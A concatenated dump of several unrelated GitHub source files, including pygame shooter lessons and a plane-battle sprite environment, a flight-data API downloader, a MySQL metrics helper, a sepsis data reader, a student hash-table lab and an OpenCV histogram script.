pygame import *\nfrom random import randint\n\n#фоновая музыка\nmixer.init()\nmixer.music.load('space.ogg')\nmixer.music.set_volume(0.1)\nmixer.music.play()\nfire_sound = mixer.Sound('laser-blast.ogg')\nfire_sound.set_volume(0.3)\n\n# нам нужны такие картинки:\nimg_back = \"galaxy.jpg\" # фон игры\nimg_hero = \"rocket.png\" # герой\nimg_enemy = \"ufo.png\" # враг\n\nscore = 0 # сбито кораблей\nlost = 0 # пропущено кораблей\n\n# класс-родитель для других спрайтов\nclass GameSprite(sprite.Sprite):\n # конструктор класса\n def __init__(self, player_image, x, y, size_x, size_y, speed):\n # Вызываем конструктор класса (Sprite):\n super().__init__()\n\n # каждый спрайт должен хранить свойство image - изображение\n self.image = transform.scale(image.load(player_image), (size_x, size_y))\n self.speed = speed\n\n # каждый спрайт должен хранить свойство rect - прямоугольник, в который он вписан\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n \n # метод, отрисовывающий героя на окне\n def reset(self):\n window.blit(self.image, (self.rect.x, self.rect.y))\n\n# класс главного игрока\nclass Player(GameSprite):\n # метод для управления спрайтом стрелками клавиатуры\n def update(self):\n keys = key.get_pressed()\n if keys[K_LEFT] and self.rect.x > 5:\n self.rect.x -= self.speed\n if keys[K_RIGHT] and self.rect.x < win_width - 80:\n self.rect.x += self.speed\n # метод \"выстрел\" (используем место игрока, чтобы создать там пулю)\n def fire(self):\n fire_sound.play()\n\n# класс спрайта-врага \nclass Enemy(GameSprite):\n # движение врага\n def update(self):\n self.rect.y += self.speed\n global lost\n # исчезает, если дойдет до края экрана\n if self.rect.y > win_height:\n self.rect.x = randint(80, win_width - 80)\n self.rect.y = 0\n lost = lost + 1\n\n# os.environ['SDL_VIDEO_CENTERED'] = '1' # вывод окна на центр экрана\ninit()\n# Создаем окошко\nwin_width, win_height = 1200, 800\ndisplay.set_caption(\"Shooter\")\nwindow = display.set_mode((win_width, win_height))\nbackground = transform.scale(image.load(img_back), (win_width, win_height))\n\n# создаем спрайты\nship = Player(img_hero, x=win_width//2, y=win_height - 100,\n size_x=80, size_y=100, speed=10)\nmonsters = sprite.Group()\nfor i in range(1, 8):\n scale = randint(90,200)\n monster = Enemy(img_enemy, x=randint(80, win_width - 80), y=-40,\n size_x=int(50 * scale / 100), size_y=int(30 * scale / 100), speed=randint(1, 5))\n monsters.add(monster)\n# переменная \"игра закончилась\": как только там True, в основном цикле перестают работать спрайты\nfinish = False\n# Основной цикл игры:\nrun = True # флаг сбрасывается кнопкой закрытия окна\nclock = time.Clock()\nwhile run:\n # событие нажатия на кнопку Закрыть\n for e in event.get():\n if e.type == QUIT:\n run = False\n if e.type == KEYDOWN and e.key == K_SPACE:\n ship.fire()\n\n if not finish:\n # обновляем фон\n window.blit(background,(0,0))\n # производим движения спрайтов\n ship.update()\n monsters.update()\n # обновляем их в новом местоположении при каждой итерации цикла\n ship.reset()\n monsters.draw(window)\n display.update()\n # цикл срабатывает каждую 0.05 секунд\n #time.delay(50)\n clock.tick(30)\n","repo_name":"Pavel-Bylkov/lessons","sub_path":"algo/PyGameStart/shuter/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":4268,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37707630798","text":"# imports\nimport requests\nimport time\nimport pandas as pd\n\n# creating API connection\nurl = 'https://api-datalab.coderslab.com/api/'\nheaders = {\n 'accept': 'application/json', 'authorization': '####'\n}\n\n# loading list of airports\ndf = pd.read_csv('C://####/final_project/data/airports_smaller.csv')\nlist_airports_id = list(df['origin_airport_id'].unique())\n\n# downloading airports id\nairports_details = []\n\nfor airport_id in list_airports_id:\n response = requests.get(\n f'{url}airport/{airport_id}',\n headers=headers)\n time.sleep(0.02)\n if response.status_code != 400:\n airports_details.append(response.json())\n else:\n continue\n\n\nairport_df = pd.DataFrame.from_records(airports_details)\n# list_airports_id_cleaned = list(airport_df['ORIGIN_AIRPORT_ID'].unique())\n\nairport_df = airport_df.to_csv('C://####/final_project/data/raw/airport_list.csv', index=False)\n\n# downloading weather\nlist_weather_months = pd.date_range('2019-01', '2020-04', freq='M').strftime(\"%Y-%m\").tolist()\n# len(list_weather_months)\n\nweather_details = []\n\nfor weather_date in list_weather_months:\n time.sleep(0.02)\n response = requests.get(f'{url}airportWeather?date={weather_date}', headers=headers)\n weather_details.extend(response.json())\n\nairport_weather_df = pd.DataFrame.from_records(weather_details)\n\nairport_weather_df.to_csv('C://####/final_project/data/raw/airport_weather.csv', index=False)\n\n# downloading aircraft details\naircraft_api_response = requests.get(f'{url}aircraft', headers=headers)\naircraft_response = aircraft_api_response.json()\naircraft_df = pd.DataFrame.from_records(aircraft_response)\n\naircraft_df.to_csv('C://####/final_project/data/raw/aircraft.csv', index=False)\n\n# downloading flights\nflight_details = []\n\nfor airport_id in list_airports_id:\n for date in list_weather_months:\n # print(f'Dowloading data from airport {airport_id} at {date}')\n response = requests.get(f'{url}flight?airportId={airport_id}&date={date}', headers=headers)\n # check_limit()\n flight_details.extend(response.json())\n time.sleep(0.2)\n\nflight_df = pd.DataFrame.from_records(flight_details)\n\nflight_df.to_csv('C://####/final_project/data/raw/flight.csv', index=False)\n","repo_name":"kamzalewska/Data-Analyst-course-final-project","sub_path":"1. Data download.py","file_name":"1. Data download.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37639407014","text":"import pymysql\nimport pandas as pd\nfrom decouple import config\nimport os \nimport csv\nfrom datetime import datetime\n\nCONN_PARAMS = {\n 'host': config('DB_HOST'),\n 'user': config('DB_USER'),\n 'password': config('DB_PASSWORD'),\n 'port': int(config('DB_PORT')),\n 'database': config('DB_NAME'),\n}\n\ndef query_database(query):\n \"\"\"\n Establishes a connection with MySQL Database to read queries\n :param query: will be placed as the param of the function\n \"\"\"\n try:\n conn = pymysql.connect(**CONN_PARAMS)\n\n df = pd.read_sql_query(query, conn)\n conn.close()\n\n return df\n\n except Exception as e:\n print(\"Error:\", e)\n\ndef insert_data(table_name, data):\n \"\"\"\n Inserts data into the desired table of the Database. \n If the table does not exist, it creates a new one.\n If the table exists, it simply updates the values of the additional rows\n :param table_name: identifier of the table in the DB\n :param data: In the form of a dataframe which is expected to be sent to the DB\n \"\"\"\n try:\n conn = pymysql.connect(**CONN_PARAMS)\n cursor = conn.cursor()\n\n # Check if the table exists\n table_exists_query = f\"SHOW TABLES LIKE '{table_name}'\"\n cursor.execute(table_exists_query)\n table_exists = cursor.fetchone()\n\n if not table_exists:\n # If the table doesn't exist, create a new table with specified columns\n create_table_query = f'''\n CREATE TABLE {table_name} (\n `dt` DATE,\n `roc_auc_score` FLOAT,\n `accuracy` FLOAT,\n `precision` FLOAT,\n `recall` FLOAT,\n `f1_score` FLOAT,\n `hit_ratio_k` FLOAT,\n `ndcg_k` FLOAT,\n `model` VARCHAR(255),\n PRIMARY KEY (`dt`, `model`)\n )\n '''\n cursor.execute(create_table_query)\n print(f\"Table '{table_name}' created successfully.\")\n\n # Convert 'dt' column to string before insertion\n data['dt'] = data['dt'].astype(str)\n # Convert NaN values to None for proper insertion\n data = data.where(pd.notna(data), None)\n\n # Insert data only if the combination of 'dt' and 'model' is unique\n for _, row in data.iterrows():\n insert_query = f'''\n INSERT INTO {table_name} (`dt`, `roc_auc_score`, `accuracy`, `precision`, `recall`, `f1_score`, \n `hit_ratio_k`, `ndcg_k`, `model`) \n SELECT %s, %s, %s, %s, %s, %s, %s, %s, %s \n WHERE NOT EXISTS (\n SELECT 1 FROM {table_name} WHERE `dt` = %s AND `model` = %s\n )\n ON DUPLICATE KEY UPDATE\n `roc_auc_score` = VALUES(`roc_auc_score`),\n `accuracy` = VALUES(`accuracy`),\n `precision` = VALUES(`precision`),\n `recall` = VALUES(`recall`),\n `f1_score` = VALUES(`f1_score`),\n `hit_ratio_k` = VALUES(`hit_ratio_k`),\n `ndcg_k` = VALUES(`ndcg_k`)\n '''\n cursor.execute(insert_query, (row['dt'], row['roc_auc_score'], row['accuracy'], row['precision'],\n row['recall'], row['f1_score'], row['hit_ratio_k'], row['ndcg_k'],\n row['model'], row['dt'], row['model']))\n\n conn.commit()\n conn.close()\n\n print(f\"Data updated in MySQL table '{table_name}' successfully.\")\n\n except Exception as e:\n print(\"Error:\", e)\n\ndef combine_tables_video():\n \"\"\" \n Combined the different evaluation tables into a mega table which could directly be sent to the DB\n \"\"\"\n table1 = pd.read_csv('datasets/final_new/random_forest_video.csv')\n table2 = pd.read_csv('datasets/final_new/knn_video.csv')\n table3 = pd.read_csv('datasets/final_new/svd_video.csv')\n table4 = pd.read_csv('datasets/final_new/ncf_video.csv')\n\n # Combine tables\n combined_table = pd.concat([table1, table2, table3, table4], ignore_index=True)\n\n output_folder = 'datasets/final_new'\n os.makedirs(output_folder, exist_ok=True)\n output_path = os.path.join(output_folder, \"nus_video_eval_2.csv\")\n combined_table.to_csv(output_path, index=False)\n \n print(f\"Combined data saved to '{output_path}' successfully.\")\n return output_path\n\ndef combine_tables_convo():\n \"\"\" \n Combined the different evaluation tables into a mega table which could directly be sent to the DB\n \"\"\"\n table1 = pd.read_csv('datasets/final_new/random_forest_convo.csv')\n table2 = pd.read_csv('datasets/final_new/als_conversation.csv')\n\n # Combine tables\n combined_table = pd.concat([table1, table2], ignore_index=True)\n\n output_folder = 'datasets/final_new'\n os.makedirs(output_folder, exist_ok=True)\n output_path = os.path.join(output_folder, \"nus_convo_eval_2.csv\")\n combined_table.to_csv(output_path, index=False)\n \n print(f\"Combined data saved to '{output_path}' successfully.\")\n return output_path\n\ndef is_valid_datetime(date_str):\n \"\"\" \n Helper function to convert the date-string value into a date-time object\n :param date_str: it is expressed as YYYY/MM/DD\n \"\"\"\n try:\n datetime.strptime(date_str, '%Y-%m-%d')\n return True\n except ValueError:\n return False\n\ndef clean_csv(input_csv_path, output_csv_path):\n \"\"\" \n Helper function to clean the CSV before being pushed into the DB\n :param input_csv_path: the path for extracting the pre-processed CSV\n :param output_csv_path: the path for extracting the processed CSV\n \"\"\"\n with open(input_csv_path, 'r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n rows = list(csv_reader)\n\n cleaned_rows = [row for row in rows if is_valid_datetime(row.get('dt'))]\n\n with open(output_csv_path, 'w', newline='') as cleaned_csv:\n fieldnames = csv_reader.fieldnames\n csv_writer = csv.DictWriter(cleaned_csv, fieldnames=fieldnames)\n csv_writer.writeheader()\n csv_writer.writerows(cleaned_rows)\n","repo_name":"lozhaowei/NUS_Capstone_Team18","sub_path":"src/data/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":6082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29699159096","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 29 17:47:34 2019\n\n@author: edward\n\"\"\"\n\nimport os\nimport numpy as np\nfrom shutil import copyfile\n\n# Read data from one psv file (one patient) into a dictionary, with each key being\n# one of the columns in the psv file except for columns that don't reflect time-series\n# data (e.g. age, gender)\ndef read_patient_data(input_file):\n \n with open(input_file, 'r') as f:\n headings = f.readline().strip().split('|') \n data = {var: [] for var in headings}\n \n for line in f:\n values = line.strip().split('|')\n \n # Replace nan values with np.nan and values convert to float\n values = [np.nan if x == 'NaN' else float(x) for x in values]\n \n for j, var in enumerate(headings):\n data[var].append(values[j])\n\n # Demographics (not time-series)\n # Take only one value, no need for list\n data['Age'] = int(data['Age'][0])\n data['Gender'] = 'Female' if data['Gender'][0] == '0' else 'Male'\n data['HospAdmTime'] = float(data['HospAdmTime'][0])\n data['HasSepsis'] = int(max(data['SepsisLabel']))\n \n data['SepsisLabel'] = [int(x) for x in data['SepsisLabel']]\n \n return data\n\n\ndef read_all_patients(directory):\n file_names = os.listdir(directory)\n \n all_patients = {}\n \n for x in file_names:\n all_patients[x] = read_patient_data(directory + '/' + x)\n \n return all_patients\n\n# Return a subset of the input dictionary that has patients \n# with sepsis (SepsisLabel = 1 at some point)\ndef get_sepsis_patients(dictionary):\n return {key: value for key, value in dictionary.items() if value['HasSepsis'] == 1}\n\ndef get_no_sepsis(dictionary):\n return {key: value for key, value in dictionary.items() if value['HasSepsis'] == 0}\n\n\n\n# Create label psv\ndef create_label_psv(input_file, output_file):\n data = read_patient_data(input_file)\n with open(output_file, 'w') as f:\n f.write('SepsisLabel\\n')\n for x in data['SepsisLabel']:\n f.write(str(x) + '\\n')\n\n# Create directory with files for testing\n# Usage example: \n# create_test_dir(test_key, \"../testing\", \"../training\")\ndef create_test_dir(test_keys, test_dir, training_dir):\n for name in test_keys:\n copyfile(training_dir+\"/\"+name, test_dir+\"/\"+name)\n \n\n# https://stackoverflow.com/questions/13728392/moving-average-or-running-mean \ndef running_mean(x, N):\n cumsum = np.cumsum(np.insert(x, 0, 0)) \n return (cumsum[N:] - cumsum[:-N]) / float(N)\n \n ","repo_name":"physionetchallenges/2019ChallengeEntries","sub_path":"RxLR/PhysioNet2019-Rx-LR/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"23581690281","text":"\"\"\"Google codejam\"\"\"\n\ndef annie_speed(destination):\n \"\"\"Annie's speed\"\"\"\n start, speed = [int(x) for x in input().split()]\n return destination/((destination - start)/speed)\n\ndef main():\n \"\"\"Main Method\"\"\"\n cases = int(input())\n for case in range(1, cases+1):\n destination, num_horses = tuple(int(x) for x in input().split())\n\n slowest = min(annie_speed(destination) for _ in range(num_horses))\n print(f'Case #{case}: {slowest}')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/799.py","file_name":"799.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13131884876","text":"import pygame\nimport random\nimport math\n\nWHITE = (255, 255, 255)\nRED = (138, 24, 26)\nBLUE = (0, 93, 135)\nBLACK = (0, 0, 0)\nDISP_WIDTH = 1200\nDISP_HEIGHT = 800\n\n\ndef blitRotate(image, pos, originPos, angle):\n \"\"\"\n Takes in a pygame image, position, the position of the origin, and an angle\n Rotates the image from the center and resizes the rect to fit the image\n Returns the rotated image and rect\n \"\"\" \n # offset from pivot to center\n image_rect = image.get_rect(topleft = (pos[0] - originPos[0], pos[1] - originPos[1]))\n offset_center_to_pivot = pygame.math.Vector2(pos) - image_rect.center\n \n # roatated offset from pivot to center\n rotated_offset = offset_center_to_pivot.rotate(-angle)\n\n # rotated image center\n rotated_image_center = (pos[0] - rotated_offset.x, pos[1] - rotated_offset.y)\n\n # get a rotated image\n rotated_image = pygame.transform.rotate(image, angle)\n rotated_image_rect = rotated_image.get_rect(center = rotated_image_center)\n\n return rotated_image, rotated_image_rect\n\ndef calc_new_xy(old_xy, speed, time, angle):\n \"\"\"\n Takes a point, speed, timestep, and angle to calculate the new position\n Returns the new point\n \"\"\" \n new_x = old_xy[0] + (speed*time*math.cos(-math.radians(angle)))\n new_y = old_xy[1] + (speed*time*math.sin(-math.radians(angle)))\n return (new_x, new_y)\n\n# ---------- PLANE CLASS ----------\nclass Plane(pygame.sprite.Sprite):\n \"\"\"\n Pygame sprite of a plane\n \"\"\" \n def __init__(self, team, hp, id):\n \"\"\" Initializes the values and pygame image/rect\n\n Args:\n team (string): Represents the color of the team that the plane is on; 'red' or 'blue'\n hp (int): # of healthpoints for the plane (# of shots that can be taken)\n id (string): The id used in env.agents and env.possible_agents\n \"\"\"\n pygame.sprite.Sprite.__init__(self)\n self.id = id\n self.team = team\n self.color = RED if self.team == 'red' else BLUE\n self.image = pygame.image.load(f\"assets/{team}_plane.png\")\n self.w, self.h = self.image.get_size()\n self.xmin = int(self.w)\n self.xmax = int(DISP_WIDTH - self.w)\n self.ymin = int(self.h)\n self.ymax = int(DISP_HEIGHT - self.h)\n self.direction = 0\n self.rect = self.image.get_rect()\n self.max_hp = hp\n self.hp = self.max_hp\n self.alive = True\n self.reset()\n\n def reset(self):\n \"\"\"\n Sets to a random position on the left or right side depending on team\n Resets all other values\n \"\"\"\n self.hp = self.max_hp\n self.alive = True\n if self.team == 'red':\n x = random.randint(self.xmin, self.xmax // 3)\n y = random.randint(self.ymin, self.ymax)\n self.rect.center = (x, y)\n self.direction = random.randint(270, 450)\n if self.direction >= 360: self.direction -= 360\n else:\n x = random.randint(self.xmax // 3 * 2, self.xmax)\n y = random.randint(self.ymin, self.ymax)\n self.rect.center = (x, y)\n self.direction = random.randint(90, 270)\n \n def rotate(self, angle):\n \"\"\"Rotates the plane by adding to self.direction\n\n Args:\n angle (float/int): # of degrees that the plane should turn\n \"\"\"\n self.direction += angle\n while self.direction > 360:\n self.direction -= 360\n while self.direction < 0:\n self.direction += 360\n\n # Keep player on the screen\n if self.rect.left < 0:\n self.rect.left = 0\n if self.rect.right > DISP_WIDTH:\n self.rect.right = DISP_WIDTH\n if self.rect.top <= 0:\n self.rect.top = 0\n if self.rect.bottom >= DISP_HEIGHT:\n self.rect.bottom = DISP_HEIGHT\n\n def set_direction(self, direction):\n \"\"\"Sets self.direction\n\n Args:\n direction (float): # of degrees that represents the plane's direction\n \"\"\"\n self.direction = direction\n\n def forward(self, speed, time):\n \"\"\"Moves the plane forward based on the direction, speed, and timestep\n\n Args:\n speed (int): The speed that the plane moves at (in MPH)\n time (float): Timestep for the plane (in hrs)\n \"\"\"\n oldpos = self.rect.center\n self.rect.center = calc_new_xy(oldpos, speed, time, self.direction)\n\n # Keep player on the screen\n if self.rect.left < 0:\n self.rect.left = 0\n if self.rect.right > DISP_WIDTH:\n self.rect.right = DISP_WIDTH\n if self.rect.top <= 0:\n self.rect.top = 0\n if self.rect.bottom >= DISP_HEIGHT:\n self.rect.bottom = DISP_HEIGHT\n\n def hit(self):\n \"\"\"\n Process a shot on the plane by decrementing hp\n\n Returns:\n hp (int): The HP after taking a hit\n \"\"\"\n self.hp -= 1\n if self.hp <= 0:\n self.alive = False\n return self.hp\n\n def draw(self, surface):\n \"\"\"Draws the plane to the display surface\n\n Args:\n surface (pygame.Surface): The display to draw the plane to\n \"\"\"\n image, rect = blitRotate(self.image, self.rect.center, (self.w/2, self.h/2), self.direction)\n surface.blit(image, rect)\n\n # Draw the name of the plane\n font = pygame.font.Font(pygame.font.get_default_font(), 18)\n text = font.render(self.id, True, self.color)\n text_rect = text.get_rect()\n text_rect.center = (rect.centerx, self.rect.centery + self.h)\n surface.blit(text, text_rect)\n\n # Draw the health bar\n if self.hp > 0:\n rect = pygame.Rect(0, 0, self.hp * 10, 10)\n border_rect = pygame.Rect(0, 0, self.hp * 10 + 2, 12)\n rect.center = (self.rect.centerx, self.rect.centery - 35)\n border_rect.center = rect.center\n pygame.draw.rect(surface, BLACK, border_rect, border_radius = 3)\n pygame.draw.rect(surface, self.color, rect, border_radius = 3)\n\n def update(self):\n \"\"\"\n Makes sure that the plane stays on the screen\n \"\"\"\n # Keep player on the screen\n if self.rect.left < 0:\n self.rect.left = 0\n if self.rect.right > DISP_WIDTH:\n self.rect.right = DISP_WIDTH\n if self.rect.top <= 0:\n self.rect.top = 0\n if self.rect.bottom >= DISP_HEIGHT:\n self.rect.bottom = DISP_HEIGHT\n\n def get_pos(self):\n \"\"\"Gives the current position of the plane as a point (x, y)\n\n Returns:\n tuple (x, y): current x-y position (center)\n \"\"\"\n image, rect = blitRotate(self.image, self.rect.center, (self.w/2, self.h/2), self.direction)\n return (rect.centerx, rect.centery)\n \n def get_direction(self):\n \"\"\"Gives the current direction that the plane is facing\n\n Returns:\n float: Current direction in degrees\n \"\"\"\n return self.direction\n\n# ---------- BASE CLASS ----------\nclass Base(pygame.sprite.Sprite):\n \"\"\"\n Pygame sprite of a base\n \"\"\"\n def __init__(self, team, hp):\n \"\"\"Initiates values for the base\n\n Args:\n team (string): Represents the team of the base, 'red' or 'blue'\n hp (int): The # of hitpoints that the base should have\n \"\"\"\n pygame.sprite.Sprite.__init__(self)\n self.team = team\n self.color = RED if self.team == 'red' else BLUE\n self.image = pygame.image.load(f\"assets/{team}_base.png\")\n self.w, self.h = self.image.get_size()\n self.xmin = int(self.w)\n self.xmax = int(DISP_WIDTH - self.w)\n self.ymin = int(self.h)\n self.ymax = int(DISP_HEIGHT - self.h)\n self.rect = self.image.get_rect()\n self.max_hp = hp\n self.hp = self.max_hp\n self.alive = True\n self.reset()\n \n def reset(self):\n \"\"\"\n Spawns base in random location on left or right of screen based on team\n Resets other values\n \"\"\"\n self.alive = True\n self.hp = self.max_hp\n if self.team == 'red':\n x = random.randint(self.xmin, self.xmax // 3)\n y = random.randint(self.ymin, self.ymax)\n self.rect.center = (x, y)\n else:\n x = random.randint(self.xmax // 3 * 2, self.xmax)\n y = random.randint(self.ymin, self.ymax)\n self.rect.center = (x, y)\n\n def hit(self):\n \"\"\"Decrements the base's health\n\n Returns:\n int: HP after taking hit\n \"\"\"\n self.hp -= 1\n if self.hp <= 0:\n self.alive = False\n return self.hp\n\n def draw(self, surface):\n \"\"\"Draws the base to the display surface\n\n Args:\n surface (pygame.Surface): Pygame surface to draw to\n \"\"\"\n surface.blit(self.image, self.rect)\n rect = pygame.Rect(0, 0, self.hp * 10, 10)\n if self.hp > 0:\n border_rect = pygame.Rect(0, 0, self.hp * 10 + 2, 12)\n rect.center = (self.rect.centerx, self.rect.centery - 40)\n border_rect.center = rect.center\n pygame.draw.rect(surface, BLACK, border_rect, border_radius = 3)\n pygame.draw.rect(surface, self.color, rect, border_radius = 3)\n \n def get_pos(self):\n \"\"\"Gets position of the base\n\n Returns:\n tuple (x, y): Point of the base (center)\n \"\"\"\n return self.rect.center\n\n# ---------- BULLET CLASS ----------\nclass Bullet(pygame.sprite.Sprite):\n \"\"\"\n Pygame sprite of a bullet\n \"\"\"\n def __init__(self, x, y, angle, speed, fcolor, oteam, agent_id, shot_dist):\n \"\"\"Initiates values\n\n Args:\n x (int): x coordinate to spawn bullet\n y (int): y coordinate to spawn bullet\n angle (float/int): Angle that the bullet is heading\n speed (int): Speed that the bullet moves at\n fcolor (string): String representing the team that the bullet was shot from, 'red' or 'blue\n oteam (dict): dictionary of the enemy team containing ['base'] and ['planes']\n \"\"\"\n pygame.sprite.Sprite.__init__(self)\n self.off_screen = False\n self.image = pygame.Surface((6, 3), pygame.SRCALPHA)\n self.fcolor = fcolor\n self.color = RED if self.fcolor == 'red' else BLUE\n self.oteam = oteam\n self.agent_id = agent_id\n self.image.fill(self.color)\n self.rect = self.image.get_rect(center=(x, y))\n self.w, self.h = self.image.get_size()\n self.direction = angle + (random.random() * 8 - 4)\n self.pos = (x, y)\n self.speed = speed\n self.dist_travelled = 0\n self.max_dist = shot_dist\n\n # Checks the status of the bullet (hit or miss or neither)\n def update(self, screen_width, screen_height, time):\n \"\"\"Moves the bullet and checks for collisions\n\n Args:\n screen_width (int): Width of the display\n screen_height (int): Height of the display\n time (float): Timestep to calculate the distance to move\n\n Returns:\n outcome (string or Plane or Base): 'none', 'miss', Base object, or Plane object based on what the bullet collides with\n \"\"\"\n oldpos = self.rect.center\n self.rect.center = calc_new_xy(oldpos, self.speed, time, self.direction)\n self.dist_travelled += self.speed * time\n # Miss if travelled max dist\n if self.dist_travelled >= self.max_dist:\n return 'miss'\n \n # Miss if goes off screen\n elif self.rect.centerx > screen_width or self.rect.centerx < 0 or self.rect.centery > screen_height or self.rect.centery < 0:\n return 'miss'\n\n # Hit if collides with enemy base\n if self.rect.colliderect(self.oteam['base']):\n return self.oteam['base']\n\n # Hit if collides with any enemy plane\n for plane in self.oteam['planes'].values():\n if self.rect.colliderect(plane.rect):\n return plane\n return 'none'\n\n def draw(self, surface):\n \"\"\"Draws the bullet to the display surface\n\n Args:\n surface (pygame.Surface): Surface to draw bullet to\n \"\"\"\n image, rect = blitRotate(self.image, self.rect.center, (self.w/2, self.h/2), self.direction)\n surface.blit(image, rect)\n \n def get_pos(self):\n \"\"\"Gets position of the bullet\n\n Returns:\n tuple (x, y): Center of bullet rect\n \"\"\"\n return self.rect.center\n \n def get_direction(self):\n \"\"\"Gets direction of the bullet\n\n Returns:\n direction (float): Direction bullet is heading in\n \"\"\"\n return self.direction\n\n# ---------- EXPLOSION CLASS ----------\nclass Explosion(pygame.sprite.Sprite):\n \"\"\"\n Pygame sprite of an explosion\n Animation of an explosion when a plane dies\n \"\"\"\n def __init__(self, center):\n \"\"\"Initializes values\n\n Args:\n center (tuple): (x, y) point at which to spawn the explosion animation\n \"\"\"\n pygame.sprite.Sprite.__init__(self)\n\n # Load in the animation photos\n self.explosion_anim = []\n for i in range(9):\n img = pygame.image.load(f\"assets/explode{i}.png\")\n img.set_colorkey(BLACK)\n img_sm = pygame.transform.scale(img, (64, 64))\n self.explosion_anim.append(img_sm)\n\n self.frame = 0\n self.image = self.explosion_anim[self.frame]\n self.rect = self.image.get_rect()\n self.rect.center = center\n\n def draw(self, surface):\n \"\"\"Draws the explosion to the display surface\n Increments the frame to show the animation\n\n Args:\n surface (pygame.Surface): Surface to display animation to\n \"\"\"\n if not self.frame == len(self.explosion_anim):\n center = self.rect.center\n self.image = self.explosion_anim[self.frame]\n self.rect = self.image.get_rect()\n self.rect.center = center\n surface.blit(self.image, self.rect)\n self.frame += 1\n return\n self.kill()","repo_name":"WilliamFlinchbaugh/Deep-RL-Battlespace","sub_path":"envs/sprites.py","file_name":"sprites.py","file_ext":"py","file_size_in_byte":14318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"38065591717","text":"import sys\ninput = sys.stdin.readline\n\ntc = int(input())\n\nfor _ in range(tc):\n n = int(input())\n clothes = dict()\n for _ in range(n):\n small, mid = input().split()\n if mid in clothes:\n clothes[mid] += 1\n else:\n clothes[mid] = 1\n res = 1\n for var in clothes.values():\n res*=(var+1)\n print(res-1)","repo_name":"shg9411/algo","sub_path":"algo_py/boj/bj9375.py","file_name":"bj9375.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"72673687233","text":"# -*- coding: utf-8 -*-\r\n#---------------------------------------------------------------------------#\r\n# Course: CS 2302 Lab 4-A #\r\n# Govinda KC #\r\n# Instructor: Diego Aguirre #\r\n# TA: Manoj Sah #\r\n#---------------------------------------------------------------------------#\r\n\r\n# Node class that used for the Hash Table\r\nclass Node:\r\n def __init__(self, words, next):\r\n self.key = words\r\n self.next = next\r\n# Defining the class to create the linked list in Hash table.\r\nclass H_table:\r\n def __init__(self, quantity):\r\n # initializing the table size\r\n self.Htab = [None] * quantity\r\n # Method to covert the letter into integer.\r\n def hash(self, k):\r\n s = 0\r\n for i in range(len(k)):\r\n s = s + ord(k[i])\r\n return s % len(self.Htab)\r\n \r\n # Inserting the key into the table and so that linked list is formed.\r\n def insert(self, k):\r\n p = hash(k) # p for position\r\n self.Htab[p] = Node(k, self.Htab[p])\r\n \r\n # Search for the key in the table\r\n def search(self, k):\r\n p = hash(k)\r\n temp = self.Htab[p]\r\n while temp != None and temp.key != k:\r\n temp = temp.next\r\n return temp\r\n \r\n # Method to find the average numbers of comparisons\r\n def average_compare(self, k):\r\n count = 0\r\n p = hash(k)\r\n for i in self.Htab:\r\n temp = self.Htab[p]\r\n while temp != None:\r\n if temp.key == k:\r\n count = count + 1\r\n temp = temp.next\r\n return count / len(self.Htab)\r\n \r\n # Method to calculate the load factor. Load factor is being calculated\r\n # by dividing the number of elements by the size of the table.\r\n def load_factor(self, k):\r\n counter = 0\r\n p = hash(k)\r\n for i in self.Htab:\r\n temp = self.Htab[p]\r\n while temp != None:\r\n counter = counter+1\r\n temp = temp.next\r\n return counter / len(self.Htab)\r\n \r\n\r\n# Main function\r\nif __name__ == '__main__':\r\n # Read the given file\r\n file = open(\"glove.6B.50d.txt\", encoding=\"utf-8\")\r\n line = file.readline()\r\n file.close()\r\n for i in line:\r\n h = H_table(400000)\r\n number = h.hash(i)\r\n print(\"Insertion: \")\r\n print(h.insert(number))\r\n print()\r\n print(\"Search for a key:\")\r\n print(h.search(8))\r\n print()\r\n print(\"The average numbers of comparison is: \")\r\n print(h.average_compare(number))\r\n print()\r\n print(\"The Load Factor is: \")\r\n print(h.load_factor(number))\r\n print()\r\n","repo_name":"Govindakc/dataStructuresLabs","sub_path":"Lab4_A.py","file_name":"Lab4_A.py","file_ext":"py","file_size_in_byte":2893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6501285116","text":"import numpy as np\nimport cv2\n\n\npath = './HSV_HLS_TEST.png'\n\nori = cv2.imread(path)\nori = cv2.resize(ori, (640, 480), cv2.INTER_AREA)\nb, g, r = cv2.split(ori)\nbH = cv2.equalizeHist(b)\ngH = cv2.equalizeHist(g)\nrH = cv2.equalizeHist(r)\n\nmerge = cv2.merge([bH, gH, rH])\n\n# blur = cv2.GaussianBlur(ori, (5, 5), 0)\n# gray = cv2.cvtColor(ori, cv2.COLOR_BGR2GRAY)\n\n# 嘗試用差幀方式(明天)\n# kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5))\n# erode = cv2.erode(gray, kernel, iterations=1)\n# dilate = cv2.dilate(gray, kernel, iterations=1)\n\n# diff = cv2.subtract(erode, dilate)\n# canny = cv2.Canny(diff, 90, 210)\n\ncv2.imshow('b', b)\ncv2.imshow('g', g)\ncv2.imshow('r', r)\ncv2.imshow('merge', merge)\ncv2.imshow('ori', ori)\n# cv2.imshow('gray', gray)\n# 